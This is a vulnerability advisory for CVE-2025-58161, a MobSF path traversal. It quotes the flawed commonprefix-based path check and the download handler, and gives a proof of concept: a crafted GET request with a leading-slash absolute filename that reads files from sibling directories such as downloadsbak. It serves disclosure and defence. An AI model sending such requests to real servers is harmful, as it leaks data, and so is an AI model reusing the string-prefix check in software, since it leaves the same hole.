CVE-2025-58161: MobSF Path Traversal in GET /download/<filename> using absolute filenames

Summary The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWDDIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWDDIR (e.g., .../downloadsbak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details def issafepath(saferoot, checkpath): saferoot = os.path.realpath(os.path.normpath(saferoot)) checkpath = os.path.realpath(os.path.normpath(checkpath)) return os.path.commonprefix([checkpath, saferoot]) == saferoot commonprefix compares raw strings, not path components. For: saferoot = /home/mobsf/.MobSF/downloads checkpath = /home/mobsf/.MobSF/downloadsbak/test.txt the function returns True, incorrectly treating downloadsbak as inside downloads. Download handler: MobSF/views/home.py @loginrequired def download(request): root = settings.DWDDIR filename = request.path.replace('/download/', '', 1) dwdfile = Path(root) / filename # absolute 'filename' ignores 'root' if '../' in filename or not issafepath(root, dwdfile): return HttpResponseForbidden(...) ext = dwdfile.suffix if ext in settings.ALLOWEDEXTENSIONS and dwdfile.isfile(): return filedownload(dwdfile, ...) If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed issafepath then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWEDEXTENSIONS

PoC Prereqs: authenticated user; standard install. Assume: settings.DWDDIR = /home/mobsf/.MobSF/downloads Prepare a sibling directory with the same string prefix and a test file: mkdir -p /home/mobsf/.MobSF/downloadsbak echo "test" > /home/mobsf/.MobSF/downloadsbak/test.txt As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it): GET /download///home/mobsf/.MobSF/downloadsbak/test.txt HTTP/1.1 Host: <HOST> Cookie: sessionid=<YOURSESSION> Other working sibling directory names (if present): …/downloads.old/... …/downloadsbackup/... …/downloads1/... …/downloads-archive/... …/downloads 2024/... (URL-encoded space: downloads%202024) Impact Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWDDIR.